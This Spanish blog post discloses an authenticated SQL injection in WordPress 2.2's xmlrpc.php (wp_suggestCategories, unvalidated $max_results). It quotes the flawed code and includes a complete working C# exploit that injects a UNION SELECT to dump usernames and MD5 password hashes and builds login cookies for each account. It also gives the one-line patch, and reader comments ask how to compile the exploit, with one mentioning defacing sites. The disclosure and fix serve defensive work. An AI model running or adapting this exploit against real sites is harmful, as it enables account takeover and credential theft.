Como comentaba en una entrada anterior, la versión 2.2 y la versión en desarrollo de este CMS también son vulnerables a SQL Injection, aunque es más limitado que el anterior por requerir de un usuario válido.
El error, bastante tonto por cierto, se encuentra en la función wp_suggestCategories
, en el archivo xmlrpc.php
:
global $wpdb;
$this->escape($args);
$blog_id = (int) $args[0];
$username = $args[1];
$password = $args[2];
$category = $args[3];
if(!$this->login_pass_ok($username, $password)) {
return($this->error);
}
// Only set a limit if one was provided.
$limit = "";
if(!empty($max_results)) {
$limit = "LIMIT {$max_results}";
}
$category_suggestions = $wpdb->get_results("
SELECT cat_ID category_id,
cat_name category_name
FROM {$wpdb->categories}
WHERE cat_name LIKE '{$category}%'
{$limit}
");
return($category_suggestions);
}
Como se puede observar en la porción de código, no se hace una conversión a entero del valor de $max_results
, por lo que es posible enviar valores del tipo 0 UNION ALL SELECT user_login, user_pass FROM wp_users
. Para que un atacante logre su objetivo, es necesario que éste tenga una cuenta de usuario válida (una cuenta de tipo suscriber basta y sobra) en el sitio víctima.
Preparé un pequeño exploit que devuelve la lista de usuarios con sus respectivas contraseñas en MD5, además también incluye las cookies de autenticación para cada usuario.
using System.Net;
using System.Text;
using System.Xml;
using System.Text.RegularExpressions;
using System.Security.Cryptography;
class Program
{
static void Main(string[] args)
{
string targetUrl = "http://localhost/wp/";
string login = "alex";
string password = "1234";
string data = @"<methodCall>
<methodName>wp.suggestCategories</methodName>
<params>
<param><value>1</value></param>
<param><value>{0}</value></param>
<param><value>{1}</value></param>
<param><value>1</value></param>
<param><value>0 UNION ALL SELECT user_login, user_pass FROM {2}users</value></param>
</params>
</methodCall>";
string cookieHash = GetCookieHash(targetUrl);
using (WebClient request = new WebClient())
{
/* Probar con el prefijo por omisión */
string response = request.UploadString(targetUrl + "xmlrpc.php",
string.Format(data, login, password, "wp_svn_"));
/* Se hace una nueva petición si la consulta anterior falla */
Match match = Regex.Match(response, @"FROM\s+(.*?)categories\s+");
if (match.Success)
{
response = request.UploadString(targetUrl + "xmlrpc.php",
string.Format(data, login, password, match.Groups[1].Value));
}
try
{
XmlDocument doc = new XmlDocument();
doc.LoadXml(response);
XmlNodeList nodes = doc.SelectNodes("//struct/member/value");
if (nodes != null && doc.SelectSingleNode("/methodResponse/fault") == null)
{
string user, pass;
/* Mostrar lista de:
* Usuario md5(contraseña)
* Cookie de Autenticación
*
*/
for (int i = 0; i < nodes.Count / 2 + 1; i += 2)
{
user = nodes.Item(i).InnerText;
pass = nodes.Item(i + 1).InnerText;
Console.WriteLine("Usuario: {0}\tMD5(Contraseña): {1}",
user,
pass);
Console.WriteLine("Cookie: wordpressuser_{0}={1};wordpresspass_{0}={2}\n",
cookieHash,
user,
MD5(pass));
}
}
else
{
Console.WriteLine("Error:\n{0}", response);
}
}
catch (Exception ex)
{
Console.WriteLine("Error:\n" + ex.ToString());
}
}
}
private static string GetCookieHash(string targetUrl)
{
WebRequest request = WebRequest.Create(targetUrl + "wp-login.php?action=logout");
request.Method = "HEAD";
(request as HttpWebRequest).AllowAutoRedirect = false;
WebResponse response = request.GetResponse();
if (response != null)
{
Match match = Regex.Match(response.Headers["Set-Cookie"],
@"wordpress[a-z]+_([a-z\d]{32})",
RegexOptions.IgnoreCase);
if (match.Success)
return match.Groups[1].Value;
}
return string.Empty;
}
public static string MD5(string password)
{
MD5CryptoServiceProvider x = new MD5CryptoServiceProvider();
byte[] bs = Encoding.UTF8.GetBytes(password);
bs = x.ComputeHash(bs);
StringBuilder s = new StringBuilder();
foreach (byte b in bs)
{
s.Append(b.ToString("x2").ToLower());
}
return s.ToString();
}
}
Para corregir este problema, mientras liberan actualizaciones para WordPress 2.2, es editar el archivo xmlrpc.php
y cambiar la línea $max_results = $args[4];
de la función wp_suggestCategories
por $max_results = (int) $args[4];
o en su defecto bloquear el acceso a xmlrpc.php
. 😉
Actualización: Pueden aplicar el parche oficial (es lo mismo que sugerí)
40 replies on “SQL Injection en WordPress 2.2 + exploit incluido”
jejejeje si acabo de recien leer en el trac el parche y de claro ya ponerlo en mi blog...
Saludos
[...] en BuayaCorp que han detectado otro fallo de seguridad en WordPress 2.2 en forma de posible inyección SQL. El fallo es relativamente leve ya que requiere autentificación [...]
Y Mullenweg cuando te contrata???
[...] información sobre las vulnerabilidades a traves de XSS y SQL [...]
[...] de WordPress se encuentra bajo una terrible vulnerabilidad de SQL Injection. Fue descubierta por Alexander Concha y se encuentra arreglada para la versión 2.2.1 de [...]
Pana, mis respetos 🙂 Excelente el exploit y también haber descubierto un bug que seguramente no lo hubiesen encontrado sino dentro de mucho tiempo
@Roq: jeje, dudo mucho que llegue a contratar a alguien como yo 😀
@Alex: Gracias por el comentario.
[...] been found for wordpress 2.2. Currently no patch or release is available. You can see the proof of concept here. This has been fixed in the trac you can see it here. It requires you to change only one line of [...]
[...] los (por desgracia cada vez más habituales) fallos de seguridad de este popular CMS. Por ejemplo este o este. El segundo es el de los hermanos Carrero que, aparte de realizar unas buenas y puntuales [...]
WordPress und die Sicherheit...
Rein gefühlsmässig hat die Anzahl der Updates und Upgrades von WordPress in den letzten Monaten, nicht zuletzt durch diverse Sicherheitslücken, ziemlich zugenommen. Dass auf Sicherheitslücken rasch reagiert wird, ist nicht nur löblich sondern auc...
Sicherheit bei WordPress...
Wieder ist ein Sicherheitsleck in WordPress bekannt geworden. Es betrifft die Datei xmlrpc.php
Auf Zeile 541 ist folgender Code zu lesen.
$max_results = $args[4];
Diese Zeile ermöglicht es die Tabelle wp_users auszulesen. Beheben kann man dies in...
[...] ile takip ettiğim sitelerden birinde wordpress’in 2.2 sürümünde saptanan bir açıktan bahsedilmişti.. Açık xmlrpc.php dosyasındaki wp_suggestCategories fonksiyonunun altında yer alan $max_results = [...]
[...] SQL Injection apareció el cual alex de buyacorp documento amplia mente e incluso publico un código en csharp para explotar dicho fallo si usas wordpress te recomiendo bajes este paquete de actualizacion creado por alexseo.com el cual [...]
[...] Gracias a DragoN me he enterado de esta importante actualización para wordpress, para nadie es extraño que esta última versión ha salido muy defectuosa, en un principio se vio el problema con los widgets, luego en buyacorp nos muestran una vulnerabilidad del tipo SQL Injection (con exploit incluido en C#). [...]
[...] Este no ha sido un buen comienzo para la nueva versión de WordPress 2.2 gracias a DragoN me he enterado de esta actualización, primero se encontraron cierto fallos con los widgets, luego en buayacorp nos muestran una vulnerabilidad del tipo SQL Injection (con exploit incluido). [...]
[...] Alexander Concha sent us an email today discussing a vulnerability he has just released for WordPress 2.2. [...]
[...] xmlrpc.php authenticated SQL Injection (more) [...]
[...] 從蔡依林學長那裡看到的消息,雖然這個安全漏洞只會在有一個以上 subscriber level 以上的帳號才有影響,不過官方很快就提出解決之道: [...]
[...] 有人找到了WordPress2.2(包含之前版本)的一个sql注入漏洞, 很快官方就给出了修补的方法. 在WordPress根目录下找到xmlrpc.php这个文件, 把第537行的: $max_results = $args[4]; [...]
[...] 2.13 版時有人發現滿嚴重的 admin-ajax.php 漏洞,但是到了 2.2 版還是又被人抓到洞了= =” 如果您的 WP 擁有一個 Subscriber [...]
Sicherheitslücke in WordPress 2.2...
Eine Sicherheitslücke, die sich wahrscheinlich nicht nur in der aktuellen WordPress-Version wiederfindet, ermöglicht einen Angriff via SQL-Injection, durch den sich offensichtlich auch die Userdaten auslesen lassen.
Betroffen ist die Datei xmlr...
[...] mal wieder. Gibt wohl ‘ne SQL-Injection in WordPress 2.2. Siehe hier für mehr Informationen und einen Proof-of-Conzept. Stellt sich mir nur die Frage… warum zur [...]
[...] atras Alex publicaba en su blog BuayaCorp un articulo avisando de una vulnerabilidad en WordPress 2.2, la ultima disponible. Las misma trata [...]
[...] Gecko/20070515 Firefox/2.0.0.4″ Supõe-se que ele tenha utilizado um exploit. Dá uma olhada aqui e aqui. Melhor eu colocar “minhas barbas” de [...]
[...] Grazie ad Agerry per la segnalazione. Post su Blogsecurity. Exploit. [...]
[...] artigo (espanhol) e este (inglês) explicam a existência de uma falha no WordPress 2.2 que permite [...]
Como compilo tu exploit?
Puedes usar Visual Studio 2005, Visual C# Express o el compilador de línea de comandos (no probé si compila con mono), en todos los casos necesitas tener instalado el .NET Framework 2.0
Saludos
Esto si que es serio, asi que esas paginas que piden que nos sucribamos seran defaceadas, bien excelente descubrimiento, gracias por el dato.
[...] un rato el código de la última versión estable de WordPress MU, veo que el casi inofensivo** problema de seguridad que reporté el lunes pasado en WordPress, tiene consecuencias más peligrosas en la versión [...]
[...] el lanzamiento de wordpress, una vulnerabilidad en su version actual (2.2) ah sido encontrada por Alexander Concha, en su blog comenta sobre la vulnerabilidad, que permite realizar una inyeccion sql, por un error [...]
[...] 2.2 (xmlrpc.php) Remote SQL Injection Exploit by Alexander Concha. Actually I’ve not tested this exploit yet. OK here what is as explained from alex [...]
[...] faille découverte par Alexander Concha créée un risque d’injection [...]
Mas y Mas Bugs de WordPress...
Cuando las aguas parecían tranquilas salen nuevas vulnerabilidades…
Una de ellas la cual fue descubierta por Waraxe solo afecta a la rama 2.1.x y menores.
Y la otra apenas salio hace unos pocos días a cargo de los famosos ha.ckers.org y que afe...
WTF!!!!!!
Nos invaden los Elites!!!
http://milw0rm.com/exploits/4039
[...] been found for wordpress 2.2. Currently no patch or release is available. You can see the proof of concept here. This has been fixed in the trac you can see it here. It requires you to change only one line of [...]
[...] los dos problemas de seguridad que reporté previamente en WordPress 2.2, se suman otros cuatro que en su mayoría afectan a aquellos blogs que [...]
Oigan, estoy empezando con esto, jajajaja nunca creí diria eso, pero bueno, estoy haciendo pruebas en un servidor propio, mi peguta es como puedo copilar el exploit aqui expuesto, osease donde copio y pego y ejecuto este exploit, les agradesco a todos.
[...] y de seguro reducirán la acción de ciertos problemas de seguridad que se basaban sólo en obtener el hash [...]
[...] xmlrpc.php authenticated SQL Injection (more) [...]